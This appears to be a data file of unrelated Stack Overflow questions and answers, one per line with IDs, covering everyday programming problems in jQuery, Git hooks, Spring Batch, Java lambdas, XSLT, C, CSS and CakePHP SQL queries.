22414635	0	 <p>You should use the <a href="https://api.jquery.com/contains-selector/" rel="nofollow"><code>:contains()</code> filter</a> instead of <a href="https://api.jquery.com/jQuery.contains/" rel="nofollow"><code>.contains()</code> method</a>. Also to add a link <em>after</em> the link, use <code>.after()</code> instead of <code>.append()</code> (which appends to innerHTML).</p> <pre><code>$(".links a:contains('append after me')").after("&lt;a href=''&gt;new link&lt;/a&gt;"); </code></pre>
21937975	0	Chartboost test scene not working in unity <p>I made an app for android with unity3d, and want to include chartboost into it. I imported the plugin for unity, and added an app as well as a campaign on chartboost. I also made sure that the signature and app name were put into the strings.xml file. When I tried running the demo scene, the buttons appeared, but when I tried to click them, nothing happens, not even a message in the console. What am I doing wrong?</p> <p>Thanks for the help in advance!</p> <p>Lagidigu</p>
20354133	0	 <p>"These pattern match variables are scalars and, as such, will only hold a single value. That value is whatever the capturing parentheses matched <strong>last</strong>."</p> <p><a href="http://blogs.perl.org/users/sirhc/2012/05/repeated-capturing-and-parsing.html" rel="nofollow">http://blogs.perl.org/users/sirhc/2012/05/repeated-capturing-and-parsing.html</a></p> <p>In you example, <code>$1</code> matches <code>1.2.3</code>. As the pattern repeats, <code>$2</code> would be set to <code>.2</code> until the final match of <code>.3</code></p>
36127931	0	 <p><a href="http://www.eclipse.org/mat/" rel="nofollow" title="Eclipse Memory Analyzer Home">Eclipse Memory Analyzer</a> is an excellent tool for analyzing the core*.dmp (and portable heap dumps, i.e. .phd files, too). To read those Websphere Dumps an additional plugin called <a href="http://www.ibm.com/developerworks/java/jdk/tools/dtfj.html" rel="nofollow" title="IBM Diagnostic Tool Framework for Java">IBM Diagnostic Tool Framework for Java</a> needs to be installed (<a href="http://public.dhe.ibm.com/ibmdl/export/pub/software/websphere/runtimes/tools/dtfj/" rel="nofollow" title="Plugin Update Site">Update Site</a>).</p> <p>Before even trying to open big dumps remember to increase the tool's heap size by modifying the <code>MemoryAnalyzer.ini</code> and adding/modifying the line</p> <p><code>-Xmx4096m</code></p> <p>Adjust this number to your needs.</p>
27405219	0	 <p>Please check the name of the file and the linux server is case sensitive.</p> <p>SelfServStyle.css Vs selfserverstyles.css</p> <pre><code>&lt;link href="http://www.insightdirect.com/SelfServStyle.css" rel="stylesheet" type="text/css"&gt; &lt;link href="http://www.insightdirect.com/selfServstyle.css" rel="stylesheet" type="text/css"&gt; </code></pre> <p>Carefully look the format of the file names. This two file are different in server.</p>
12715291	0	 <p>Add your reload data call to yet another NSOperation, which has as its dependencies (see <code>addDependency:</code>) the other five operations. It will then not be executed until the others are complete. </p> <p>Be sure to wrap your UI calls in a GCD dispatch to the main thread. </p> <p>From the NSOperation reference:</p> <blockquote> <p>Dependencies are a convenient way to execute operations in a specific order. You can add and remove dependencies for an operation using the addDependency: and removeDependency: methods. By default, an operation object that has dependencies is not considered ready until all of its dependent operation objects have finished executing. Once the last dependent operation finishes, however, the operation object becomes ready and able to execute.</p> </blockquote>
13006402	0	Gridview: Many controls in same row cell <p>I have many controls in same gridview cell. I am using the following code. But i want them to be displayed vertically instead of horizontally, because with the following code it assigns them in the same line. Any help?</p> <pre><code>RadioButton rd1 = new RadioButton(); rd1.Text = "Test1"; RadioButton rd2 = new RadioButton(); rd2.Text = "Test2"; grdRSM.Rows[0].Cells[2].Controls.Add(rd1); grdRSM.Rows[0].Cells[2].Controls.Add(rd2); </code></pre>
16887940	0	 <p>Replace all the <code>=</code> with <code>==</code> and you should be fine (because = is used for assignment, while == is used to test for equality, which seems to be what you want to do)</p>
25881949	0	 <p>Try to run </p> <pre><code>chkconfig autofs on </code></pre> <p>that will enable autofs service to start on boot.</p>
16625850	0	Printing a value makes the program work? <pre><code>#include &lt;iostream&gt; #include &lt;cstdio&gt; using namespace std; bool numar(unsigned long long n) { return (n &gt; 99) &amp;&amp; ((n % 100) == 25); } int main() { freopen("numere.in", "r", stdin); freopen("numere.out", "w", stdout); int cnt = 0; unsigned long long n, a, Nblabla, N; while (scanf("%d", &amp;n) == 1) { if (numar(n)) { a = (n - 25) / 100; cout &lt;&lt; a; // This son of a *****. for (N = 1; true; N++) { Nblabla = N * (N + 1); if (Nblabla &gt; a) break; else if (Nblabla == a) { cnt++; } } } } printf("%d", cnt); return 0; } </code></pre> <p>Simply, if I comment that line (<code>cout &lt;&lt; a;</code>), the program stops working. If I leave it there, it works.<br> I'm using Code::Blocks, GNU GCC.</p> <p>This just checks if a number is the square of a number that ends with the digit <code>5</code>. (Base 10) (I am not allowed to use square roots) </p> <p>Before asking, no, this isn't homework. This is my submission to a subject of an online contest. </p> <p>Can anyone tell me why is this happening? </p>
21685219	0	Trying to setOnClickListener for TextView not in main layout <p>I have a TextView that I am turning into a button. The TextView actually lives on a secondary layout.</p> <pre><code> protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.history); </code></pre> <p>this is the main layout here "R.layout.history"</p> <p>That loads a bunch of results in a ListAdapter and each result is displayed using R.layout.card_background</p> <p>I am trying to initialize and set the setOnClickListener for a TextView located on R.Layout.card_background but I am getting a nullPointerException.</p> <pre><code>protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.history); Typeface tf = Typeface.createFromAsset(getAssets(),"Roboto-Light.ttf"); ListView listContent = (ListView) findViewById(android.R.id.list); TextView history = (TextView) findViewById(R.id.history); history.setTypeface(tf); Cursor cursor = db.getAllLogs(); Log.d("history.java", "finished Cursor cursor = db.getAllLogs();"); String[] from = {"_id", "dd", "gg", "ppg", "odo"}; int[] to = {deleteVal, R.id.cardDate, R.id.cardG, R.id.cardP, R.id.cardM}; ListAdapter adapter = new SimpleCursorAdapter(this, R.layout.card_background, cursor, from, to); listContent.setAdapter(adapter); TextView cardDelete = (TextView) findViewById(R.id.cardDelete); cardDelete.setOnClickListener(new OnClickListener() { @Override public void onClick(View v){ } }); } </code></pre> <p>Any idea how I can set that and stop getting the NPE?</p> <p>Thanks</p>
6539696	0	 <p>The Problem was the <code>git clean</code> <code>git clean</code> removes <strong>any</strong> untracked file from the current working tree.</p> <p>You could set up <code>.gitignore</code> files for the untracked files and leave the <code>-x</code> flag away. You should have a look at the <em>manpage</em> for <code>git-clean</code>. If you don't have a unix system: <a href="http://linux.die.net/man/1/git-clean" rel="nofollow">http://linux.die.net/man/1/git-clean</a></p>
7757424	0	GIT_WORK_TREE not only updating 1 file <p>I have set up a two bare git repository's on my server with file paths like so:</p> <p>/git/project.git/ <br> /git/project2.git/</p> <p>I then have added two branches dev and live. I then added the following post-receive hook to each project</p> <pre><code>` #!/bin/sh while read oldrev newrev refname do echo "STARTING [$oldrev $newrev $refname]" if [ "$refname" == 'refs/heads/dev' ] then GIT_WORK_TREE=/var/www/vhosts/devwebsite.com/httpdocs/ git checkout -f elif [ "$refname" == 'refs/heads/live' ] then GIT_WORK_TREE=/var/www/vhosts/livewebsite.com/httpdocs/ git checkout -f fi done` </code></pre> <p>This works on 1 project but not the other. On the second project it only seems to work with my first file I pushed which happens to be a .gitignore file.</p> <p>So in short this file is the only file that will be updated when I push.</p> <p>Thanks in a advance for any help you can give.</p>
36640321	0	Will Postgres' DISTINCT function always return null as the first element? <p>I'm selecting distinct values from tables thru Java's JDBC connector and it seems that NULL value (if there's any) is always the first row in the ResultSet.</p> <p>I need to remove this NULL from the List where I load this ResultSet. The logic looks only at the first element and if it's null then ignores it.</p> <p>I'm not using any ORDER BY in the query, can I still trust that logic? I can't find any reference in Postgres' documentation about this.</p>
2702589	0	 <h1>Python (86 chars)</h1> <pre><code>r=input() l=len(str(r)) while 1: x=str(r*r) y=(len(x)-l)/2 r=int(x[y:y+l]) print r </code></pre> <p>Produces infinite sequence on stdout. Note that backtick trick won't work at least on older versions with <code>long</code> type because of the ending <code>L</code> in representation. Python 3 <code>print</code> as function would add 1 more char for closing paren.</p>
34541193	0	How to check either email address exist or not using android? <p><strong>I want to register email in application from the form. I want to check that either email address exist or not. Please help me to solve this problem. Thanks.</strong></p>
22665940	0	 <p>Take a look at this other answer. It uses the same approach that you do.</p> <p><a href="http://stackoverflow.com/questions/22663599/creating-constant-string-for-a-postgres-entire-database">Creating constant string for a Postgres entire database</a></p>
12328374	0	 <p>PHP is run on a server, Your browser is a client. Once the server sends all the info to the client, nothing can be done on the server until another request is made.</p> <p>To make another request without refreshing the page you are going to have to look into ajax. Look into jQuery as it makes ajax requests easy</p>
34420129	0	Iphone Testing App on Xcode <p>Is it possible to test your iPhone app on Xcode, not on the simulator, but on your actual phone before releasing it on the app store. </p>
30940092	0	 <p>Incidentally, if less typing (well 20 characters) and better performance is your thing then consider the following:</p> <pre><code>SELECT u.name , SUM(t.minutesSpent) Total FROM users u LEFT JOIN times t ON u.id = t.user_id AND t.date BETWEEN '2015-06-03 00:00:00' AND '2015-06-03 23:59:59' GROUP BY u.name; </code></pre>
15310343	0	 <p>That all sounds fine - though I'd opt for something more granular: something that would allow access to other people's records on an access-control-list basis, but that's more complicated.</p> <p>The only thing I'd change in what you've written is the "redirection" to an access-denied page. <strong>Never perform redirections to error pages</strong> - instead return the error message in the original response. You can do this in ASP.NET WebForms by using <code>Server.Transfer</code>, or by clearing the response buffer (if necessary) and setting the page content to an ASCX with the right message. Don't forget to set the HTTP status to 403.</p>
10670722	0	 <p>I tend to launch Eclipse and STS from the command line. I create a bunch of shell scripts, one for each variant of Eclipse/STS that I run. This ensures that every launch has precisely the arguments that I need.</p> <p>For example, I have a bunch of scripts like this:</p> <pre><code>[21:09] ~/Eclipse $ more eclipse_42.sh Installations/Eclipse4.2.M6/Eclipse -data \ "/users/Andrew/Eclipse/Workspaces/workspace_42" \ -vmargs -Xmx1024M -XX:PermSize=64M -XX:MaxPermSize=256M </code></pre> <p>I like running from a terminal so that you can see what gets sent to sysout. And this could also be launched from a Finder window. </p> <p>I run on Mac, but you could do something similar on Linux or Windows.</p>
36340806	0	 <p>Here are a few alternatives to passing a reference to the function:</p> <ul> <li><p>Have the child component broadcast a public event using the <code>EventAggregator</code> singleton instance and have the parent component react to the event</p></li> <li><p>Have the child component broadcast a private event using a private <code>EventAggregator</code> instance and have the parent component react to the event</p></li> <li><p>Have the child component broadcast a DOM event and bind it to the parent with <code>delete.call</code> like this <code>&lt;project-item repeat.for="project of projects" project.bind="project" delete.call="deleteProject($even t)"&gt;&lt;/project-item&gt;</code></p></li> </ul> <p>My personal preference is the third option. It feels more like "Web Components" to me.</p>
4179845	0	 <p>Add a "-" before any command in a Makefile tells make to not quit if the command returns a non-zero status. Basically it's a "I don't care if it fails".</p>
33695919	0	error: expected expression before ‘if’ <p>Here is my code, I don't know where I'm wrong and what is "expression"?</p> <pre><code>#define m(smth) (if(sizeof(smth) == sizeof(int)) {printf("%d", (int) smth);} else{puts((char*)smth);}) int main(void) { m("smth"); } </code></pre> <p>here is output:</p> <pre><code>/home/roroco/Dropbox/rbs/ro_sites/c/ex/ex2.c: In function ‘main’: /home/roroco/Dropbox/rbs/ro_sites/c/ex/ex2.c:18:18: error: expected expression before ‘if’ #define m(smth) (if(sizeof(smth) == sizeof(int)) {printf("%d", (int) smth);} else{puts((char*)smth);}) ^ /home/roroco/Dropbox/rbs/ro_sites/c/ex/ex2.c:21:5: note: in expansion of macro ‘m’ m("smth"); ^ make[3]: *** [ex/CMakeFiles/ex2.dir/ex2.c.o] Error 1 make[2]: *** [ex/CMakeFiles/ex2.dir/all] Error 2 make[1]: *** [ex/CMakeFiles/ex2.dir/rule] Error 2 make: *** [ex2] Error 2 </code></pre>
10502016	0	 <p>As hakre said in the comments and as it's stated <a href="http://docs.kohanaphp.com/general/libraries" rel="nofollow" title="Libraries">here</a> "Library class names and file names begin with a capitalized letter"</p> <p>I changed the file and class to start with C and that fixed the problem.</p> <p>When I moved the project to Ubuntu I changed every file name to lower case, in the case of Libraries that was wrong.</p> <p>Thanks to all and I hope this helps anyone in the future.</p>
6959236	0	 <p>Try <code>man dbopen</code> for the C level API which describes these flags, as <code>DB_file</code> is really a very thin wrapper around that. </p> <p>The meaning of this flag differs according to which method you use it on, when used with <code>put</code> this means that a value is replaced (rather than added before or after) and needs to be used after an existing search, i.e., after using the <code>seq</code> function at the C level. </p>
11343305	0	 <p>so can you try analyzing with solr.KeywordTokenizerFactory ?</p>
29555343	0	 <pre><code>#ifndef Debug #define Debug 1 #endif #if Debug # define DebugLog(fmt, ...) NSLog((@"%s [Line %d] " fmt), __PRETTY_FUNCTION__, __LINE__, ##__VA_ARGS__); #else # define DebugLog(...) #endif </code></pre> <p>Set Debug to 1 for enabling the log and 0 for disabling it.</p>
38045693	0	Adding a border around the first row in a table (and other styling)? <p>I'm trying to style the first row of a table, which is supposed to serve as a heading-row. Unfortunately, I can't seem to get a visible border around this row.</p> <p>I went about this by trying to use the first:child pseudo class. I managed to successfully get a background gradient added to this row. The code for that looks like...</p> <pre><code>tr:first-child { background-color: rgb(116, 195, 80); -webkit-background:linear-gradient(rgb(116, 195, 80), rgb(160, 219, 132)); </code></pre> <p>So now I'm trying to add a border around this row... And none of my code seems to really work. What's making it even more obnoxious for me is the fact that I have plenty of working border code in other parts of this css file... And none of it seems to give a visible border for this row. I actually don't want the border to span for the entire row. I am okay with the border simply going around each column/element within the row.</p> <p>Right now my code is....</p> <pre><code>border-style: groove; border-color: blue; border-height: 5px; border-radius: 4px; </code></pre> <p>There must be something I'm not understanding about table styling... I am not allowed to alter the original html5 file. Here is an example table I'm trying to imitate.</p> <p><a href="https://i.stack.imgur.com/NNzA4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NNzA4.png" alt="Example table heading"></a></p>
20635706	0	I have a minor issue with my dropdown menu when switching pages <p>I have a small issue with my dropdown menu when switching to another page. When I press my menu label button, the navigation bar slides down and when I then proceed to another page the dropdown menu acts if it was open but it is not so when I press the menu label button again the navigation bar slides up instead of down and after that it works normally. </p> <p><strong>What do I do to make the slide bar return to normal state when I switch pages?</strong> I hope you understand what I mean, otherwise I will try to clarify</p> <p><strong>HTML</strong></p> <pre><code>&lt;nav id="navBar"&gt; &lt;ul id="mainNav"&gt; &lt;li class="hem"&gt;&lt;a href="index.html"&gt;Hem&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="kontakt.html"&gt;Kontakt&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="om.html"&gt;Om&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; </code></pre> <p><strong>CSS</strong></p> <pre><code>#navBar { display:none; position:relative; } #navBar.active{ display:block; height:auto; } #mainNav { background:#202020; } #mainNav li { padding:6px 0; } #mainNav a { color:white; font-weight:bold; } #mainNav li:hover { background-color:#f3ba32; } </code></pre> <p><strong>JQUERY</strong></p> <pre><code>$("#menulabel").click(function() { $("#navBar").toggleClass("active").slideToggle(300); }); </code></pre>
21010024	0	Hashed/Sharded ActionBlocks <p>I have a constant flow of certain items that I need to process in parallel so I'm using <code>TPL Dataflow</code>. The catch is that the items that share the same key (similar to a Dictionary) should be processed in a FIFO order and not be parallel to each other (they can be parallel to other items with different values).</p> <p>The work being done is very CPU bound with minimal asynchronous locks so my solution was to create an array of <code>ActionBlock&lt;T&gt;</code>s the size of <code>Environment.ProcessorCount</code> with no parallelism and post to them according to the key's <code>GetHashCode</code> value.</p> <p>Creation:</p> <pre><code>_actionBlocks = new ActionBlock&lt;Item&gt;[Environment.ProcessorCount]; for (int i = 0; i &lt; _actionBlocks.Length; i++) { _actionBlocks[i] = new ActionBlock&lt;Item&gt;(_ =&gt; ProcessItemAsync(_)); } </code></pre> <p>Usage:</p> <pre><code>bool ProcessItem(Key key, Item item) { var actionBlock = _actionBlocks[(uint)key.GetHashCode() % _actionBlocks.Length]; return actionBlock.Post(item); } </code></pre> <p>So, my question is, is this the best solution to my problem? Am I hurting performance/scalability? Am I missing something?</p>
34154699	0	 <p><em>I will try to put it simple, assuming you are familiar with SSIS and Script Components</em></p> <p>Main problem is that your column contains leading 0's that makes it harder to parse the value to float.</p> <p><strong>Solution 1</strong></p> <p>You will first need to get rid of the leading 0's using a Derived Column component with fitting expression (could be complex)</p> <p>Then pass that column through a data conversion component and set the data type to float</p> <p><strong>Solution 2</strong></p> <p>Pass original column through a script transform component, remove leading 0's and parse it to a new float column in the ProcessInputRow method using .NET</p> <p><strong>C# Example:</strong></p> <pre><code>Row.new_column = float.Parse(Row.Quantite.TrimStart('0')); </code></pre>
17296813	0	 <p>in the event that you want to 're-use' an existing <code>JdbcCursorItemReader</code> (or one of the other Spring Batch Jdbc*ItemReaders), you can switch the SQL dynamically by leveraging the step scope. Below is an example of a configuration that switches the SQL based on the <code>sqlKey</code> property from the <code>JobParameters</code>. the source of the statements is a simple map.</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:batch="http://www.springframework.org/schema/batch" xmlns:util="http://www.springframework.org/schema/util" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.2.xsd http://www.springframework.org/schema/batch http://www.springframework.org/schema/batch/spring-batch.xsd"&gt; &lt;batch:job id="switchSQL"&gt; &lt;batch:step id="switchSQL.step1"&gt; &lt;batch:tasklet&gt; &lt;batch:chunk reader="sqlItemReader" writer="outItemWriter" commit-interval="10"/&gt; &lt;/batch:tasklet&gt; &lt;/batch:step&gt; &lt;/batch:job&gt; &lt;bean id="sqlItemReader" class="org.springframework.batch.item.database.JdbcCursorItemReader" scope="step"&gt; &lt;property name="dataSource" ref="dataSource"/&gt; &lt;property name="sql" value="#{@sqlStatements[jobParameters['sqlKey']]}"/&gt; &lt;property name="rowMapper"&gt; &lt;bean class="de.incompleteco.spring.batch.data.ColumnRowMapper"/&gt; &lt;/property&gt; &lt;/bean&gt; &lt;util:map id="sqlStatements"&gt; &lt;entry key="sql1" value="select * from table_one"/&gt; &lt;entry key="sql2" value="select * from table_two"/&gt; &lt;/util:map&gt; &lt;bean id="outItemWriter" class="org.springframework.batch.item.adapter.ItemWriterAdapter"&gt; &lt;property name="targetObject" ref="outWriter"/&gt; &lt;property name="targetMethod" value="write"/&gt; &lt;/bean&gt; &lt;bean id="outWriter" class="de.incompleteco.spring.batch.item.SystemOutItemWriter"/&gt; &lt;/beans&gt; </code></pre> <p>here are the supporting classes;</p> <p>(a simple itemwriter)</p> <pre><code>package de.incompleteco.spring.batch.item; public class SystemOutItemWriter { public void write(Object object) { System.out.println(object); } } </code></pre> <p>(and a simple rowmapper)</p> <pre><code>package de.incompleteco.spring.batch.data; import java.sql.ResultSet; import java.sql.SQLException; import org.springframework.jdbc.core.RowMapper; public class ColumnRowMapper implements RowMapper&lt;String&gt; { public String mapRow(ResultSet rs, int rowNum) throws SQLException { return rs.getString(1); } } </code></pre> <p>and here's the remaining config</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"&gt; &lt;bean id="jobRepository" class="org.springframework.batch.core.repository.support.MapJobRepositoryFactoryBean"/&gt; &lt;bean id="jobExplorer" class="org.springframework.batch.core.explore.support.MapJobExplorerFactoryBean"&gt; &lt;property name="repositoryFactory" ref="&amp;amp;jobRepository"/&gt; &lt;/bean&gt; &lt;bean id="jobLauncher" class="org.springframework.batch.core.launch.support.SimpleJobLauncher"&gt; &lt;property name="jobRepository" ref="jobRepository"/&gt; &lt;/bean&gt; &lt;bean id="transactionManager" class="org.springframework.batch.support.transaction.ResourcelessTransactionManager"&gt; &lt;/bean&gt; &lt;bean class="org.springframework.batch.core.scope.StepScope"/&gt; &lt;/beans&gt; </code></pre> <p>and</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:jdbc="http://www.springframework.org/schema/jdbc" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc.xsd"&gt; &lt;jdbc:embedded-database id="dataSource" type="H2"&gt; &lt;jdbc:script location="classpath:/META-INF/sql/schema-h2.sql"/&gt; &lt;jdbc:script location="classpath:/META-INF/sql/insert-h2.sql"/&gt; &lt;/jdbc:embedded-database&gt; &lt;bean id="dataSourceTransactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"&gt; &lt;property name="dataSource" ref="dataSource"/&gt; &lt;/bean&gt; &lt;/beans&gt; </code></pre> <p>and the sql stuff</p> <pre><code>create table table_one ( column_a varchar(50) ); create table table_two ( column_a varchar(50) ); --table one insert into table_one (column_a) values ('hello'); insert into table_one (column_a) values ('world'); --table two insert into table_two (column_a) values ('hey'); </code></pre> <p>now finally a unit test</p> <pre><code>package de.incompleteco.spring; import static org.junit.Assert.assertFalse; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.batch.core.Job; import org.springframework.batch.core.JobExecution; import org.springframework.batch.core.JobParameters; import org.springframework.batch.core.JobParametersBuilder; import org.springframework.batch.core.explore.JobExplorer; import org.springframework.batch.core.launch.JobLauncher; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration({"classpath:/META-INF/spring/*-context.xml"}) public class SwitchSQLIntegrationTest { @Autowired private Job job; @Autowired private JobLauncher jobLauncher; @Autowired private JobExplorer jobExplorer; @Test public void test() throws Exception { //setup the parameters JobParameters parameters = new JobParametersBuilder().addLong("runtime",System.currentTimeMillis()) .addString("sqlKey", "sql1").toJobParameters(); //run JobExecution execution = jobLauncher.run(job,parameters); //test while (jobExplorer.getJobExecution(execution.getId()).isRunning()) { Thread.sleep(100); }//end while //load execution = jobExplorer.getJobExecution(execution.getId()); //test assertFalse(execution.getStatus().isUnsuccessful()); //run it again parameters = new JobParametersBuilder().addLong("runtime",System.currentTimeMillis()) .addString("sqlKey", "sql2").toJobParameters(); //run execution = jobLauncher.run(job,parameters); //test while (jobExplorer.getJobExecution(execution.getId()).isRunning()) { Thread.sleep(100); }//end while //load execution = jobExplorer.getJobExecution(execution.getId()); //test assertFalse(execution.getStatus().isUnsuccessful()); } } </code></pre>
10184630	0	What would setting a getter do? <p>First, some context: while answering questions on SO, I came across a post wherein the author had been trying to set a getter with syntax similar to <code>[self.propertyGetter:newValue];</code>. For some reason, this compiles, and I thought to myself, "this would constitute a call to nil, wouldn't it?". So, my question is, why in the heck does this 'work'? (to be perfectly clear, the poster was complaining that this had no effect, so by 'work', I mean compile).</p>
29676210	0	 <p>As it was <a href="http://docs.oracle.com/javase/specs/jls/se8/html/jls-15.html#jls-15.27.4" rel="nofollow">already pointed out</a>, the actual behavior is not specified by the JLS, a future version is allowed to derive from the current implementation as long as the JLS remains fullfilled.</p> <p><strong>Here is what happens in a current version of HotSpot:</strong></p> <p>Any lambda expression is bound via an <em>invokedynamic</em> call site. This call site requests a bootstrap method to bind a factory for an instance that implements the functional interface of the lambda expression. As arguments, any variables that are required to execute the lambda expression are handed to the factory. The body of the lambda expression is instead copied into a method inside of the class. </p> <p>For your example, the desuggared version would look like the following code snipped with the <em>invokedynamic</em> instruction in angle brackets:</p> <pre><code>class Foo { public static Object o = new Object(); public static Callable x1() { Object x = o; return Bootstrap.&lt;makeCallable&gt;(x); } private static Object lambda$x1(Object x) { return x; } public static Callable x2() { return Bootstrap.&lt;makeCallable&gt;(); } private static void lambda$x2() { return Foo.o; } } </code></pre> <p>The boostrap method (which is actually located in <code>java.lang.invoke.LambdaMetafactory</code>) is then asked to bind the call site on its first invocation. For lambda expressions, this binding will never change, the bootstrap method is therefore only called once. In order to being able to bind a class that implements the functional interface, the bootstrap method must first create a class at runtime which look like the following for example:</p> <pre><code>class Lambda$x1 implements Callable { private static Callable make(Object x) { return new Lambda$x1(x); } private final Object x; // constructor omitted @Override public Object call() { return x; } } class Lambda$x2 implements Callable { @Override public Object call() { return Foo.o; } } </code></pre> <p>After creating these classes, the <em>invokedynamic</em> instruction is bound to invoke the factory method that is defined by the first class to the call site. For the second class, no factory is created as the class is fully stateless. Therefore, the bootstrap method creates a singleton instance of the class and binds the instance directly to the call site (using a constant <code>MethodHandle</code>).</p> <p>In order to invoke static methods from another class, an anonymous class loader is used for loading the lambda classes. If you want to know more, I recently <a href="http://mydailyjava.blogspot.no/2015/03/dismantling-invokedynamic.html" rel="nofollow">summarized my findings on lambda expressions</a>. </p> <p>But again, <strong>always code against the spec, not the implementation</strong>. This can change!</p>
13355381	0	 <p><strong>Just this</strong>:</p> <pre><code>&lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:x="http://www.w3.org/1999/xhtml" exclude-result-prefixes="x"&gt; &lt;xsl:output omit-xml-declaration="yes" indent="yes"/&gt; &lt;xsl:strip-space elements="*"/&gt; &lt;xsl:template match="/*"&gt; &lt;document&gt; &lt;xsl:apply-templates/&gt; &lt;/document&gt; &lt;/xsl:template&gt; &lt;xsl:template match="x:div"&gt; &lt;section&gt;&lt;xsl:apply-templates/&gt;&lt;/section&gt; &lt;/xsl:template&gt; &lt;xsl:template match="x:p"&gt; &lt;paragraph&gt;&lt;xsl:apply-templates/&gt;&lt;/paragraph&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p><strong>When this transformation is applied on the provided XML document:</strong></p> <pre><code>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;title/&gt; &lt;meta/&gt; &lt;/head&gt; &lt;body link="#000000" bgcolor="#FFFFFF" leftmargin="0"&gt; &lt;div&gt; &lt;p&gt;Here is a paragraph&lt;/p&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>the wanted, correct result is produced</strong>:</p> <pre><code>&lt;document&gt; &lt;section&gt; &lt;paragraph&gt;Here is a paragraph&lt;/paragraph&gt; &lt;/section&gt; &lt;/document&gt; </code></pre>
22879377	0	 <pre><code>#include &lt;stdio.h&gt; #include &lt;time.h&gt; #include &lt;stdlib.h&gt; #define ROW 3 #define COL 5 int main(){ int array[ROW][COL]; int practice_array; int i, row, col, max, min, sum, avg; srand(time(NULL)); for ( row = 0; row &lt; ROW; row = row + 1){ for ( col = 0; col &lt; COL; col = col +1){ array[row][col] = rand()%(10000+1); practice_array = array[row][col]; sum += practice_array; printf("The value in row %d col %d is %d\n",row, col,practice_array); } } avg = sum / (ROW*COL);//unused int *pv = &amp;array[0][0]; max = min = 0; for (i = 1; i &lt; ROW*COL; ++i){ if (pv[i] &gt; pv[max]) max =i; if (pv[i] &lt; pv[min]) min = i; } printf("The max value is %d in row %d, col %d\n", pv[max], max/COL, max%COL); printf("The min value is %d in row %d, col %d\n", pv[min], min/COL, min%COL); return 0; } </code></pre>
36169673	0	Select in select query cakephp <p>I have 2 table </p> <pre> 1. feeds => id,name 2. feed_locations => id, feed_id, latitude,longitude,location_name </pre> <p>This is my cakephp code</p> <pre><code> $radious = '10'; $this->paginate = array( 'joins' => array( array('table' => 'feed_locations', 'alias' => 'FeedLocation', 'type' => 'LEFT', 'conditions' => array( 'FeedLocation.feed_id = Feed.id', ) ) ), 'limit' => 10, 'fields' => array('id','name','(3959 * acos (cos ( radians('.$lat.') ) * cos( radians( FeedLocation.latitude ) ) * cos( radians( FeedLocation.longitude ) - radians('.$lng.') ) + sin ( radians('.$lat.') ) * sin( radians( FeedLocation.latitude )))) AS `distance`'), 'recursive' => -1, 'order' => 'distance ASC', 'group' => 'Feed.id HAVING distance &lt;'.$radious ); </code> </pre> <p>It give me output query as</p> <pre><code>SELECT `Feed`.`id`, `Feed`.`name`, (3959 * acos (cos ( radians(40.7127837) ) * cos( radians( FeedLocation.latitude ) ) * cos( radians( FeedLocation.longitude ) - radians(-74.00594130000002) ) + sin ( radians(40.7127837) ) * sin( radians( FeedLocation.latitude )))) AS `distance`, (Select COUNT(id) FROM feed_locations WHERE feed_id = `Feed`.`id`) AS `location_count` FROM `feeds` AS `Feed` LEFT JOIN `feed_locations` AS `FeedLocation` ON (`FeedLocation`.`feed_id` = `Feed`.`id`) GROUP BY `Feed`.`id` HAVING distance &lt; 10 ORDER BY `distance` ASC </code></pre> <p>My query is working but issue it that :</p> <p>Like if a single feed have 10 location like 1m,2m,3m,4m,5m,10m,100m distance. and i want to find 5m distance all feed then it works but it shows me that this feed have 5m. distance from me but result should be 1m distance. <br/> I want to implement this mysql query in cakephp syntax</p> <pre><code>SELECT a.id, a.name, a.distance, a.location_count FROM (SELECT `Feed`.`id`, `Feed`.`name`, (3959 * acos (cos ( radians(40.7127837) ) * cos( radians( FeedLocation.latitude ) ) * cos( radians( FeedLocation.longitude ) - radians(-74.00594130000002) ) + sin ( radians(40.7127837) ) * sin( radians( FeedLocation.latitude )))) AS `distance`, (Select COUNT(id) FROM feed_locations WHERE feed_id = `Feed`.`id`) AS `location_count` FROM `feeds` AS `Feed` LEFT JOIN `feed_locations` AS `FeedLocation` ON (`FeedLocation`.`feed_id` = `Feed`.`id`) ORDER BY `distance` ASC) AS a GROUP BY a.id HAVING distance &lt; 10; </code></pre> <p>This query give me exact result. please let me know how can i use this query in cakephp</p>
